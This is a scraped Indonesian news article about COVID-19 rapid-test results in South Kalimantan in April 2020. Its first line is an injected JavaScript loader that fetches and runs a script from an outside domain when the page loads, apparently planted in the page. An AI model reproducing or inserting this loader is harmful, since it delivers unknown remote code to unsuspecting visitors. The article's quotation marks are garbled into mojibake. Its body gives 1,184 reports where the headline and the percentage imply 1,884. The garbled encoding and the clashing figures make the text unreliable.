(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

1.884 Laporan Rapid Test di Kalsel 11,04 Persen Reaktif, Lanjut dengan Pengambilan Swab

KANALKALIMANTAN.COM, BANJARBARU ÃƒÂ¢Ã¢â€šÂ¬Ã¢â‚¬Å“ Hingga Mingu (19/4/2020) sore, laporan rapid test yang diterima oleh Tim Gugus Tugas Pencegahan Pengendalian Penanganan (P3) Covid-19 Kalimantan Selatan sebanyak 1.884 laporan rapid test yang dilakukan oleh Tim Surveilans Epidemiologi di 13 kabupaten/kota se Kalsel.

ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œSaat ini sudah dilaporkan sudah ada 1.184 laporan rapid test, dan 208 diantaranya yang reaktif. Atau 11,04 persen yang reaktif,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â kata Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel Muhammad Muslim di Banjarbaru, Minggu (19/4/2020) sore.

Hasil rapid test sendiri, Muslim menambahkan, ditindaklanjuti dengan melakukan pengambilan swab. Guna diperiksa di laboratorium Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKLPP) Banjarbaru dengan metode PCR (polymerase chain reaction).

Muslim menjelaskan, langkah pengambilan swab ini perlu dilakukan agar dapat dengan cepat terkonfirmasi apakah terpapar Covid-19 atau tidak. Tentunya, dengan sasaran kontak-kontak yang dicurigai maupun cluster tertentu, sehingga laporan diduga positif Covid-19 dapat diketahui dengan cepat.

ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œDengan kondisi seperti ini, maka tata kelola kita dari gugus tugas, baik tingkat provinsi, kabupaten maupun kota, dengan cepat dapat mengambil keputusan dalam melakukan baik isolasi mandiri maupun karantina, atau dilakukan isolasi di rumah sakit. Agar risiko-risiko tertular kepada orang lain dapat dicegah,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â jelas Muslim. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie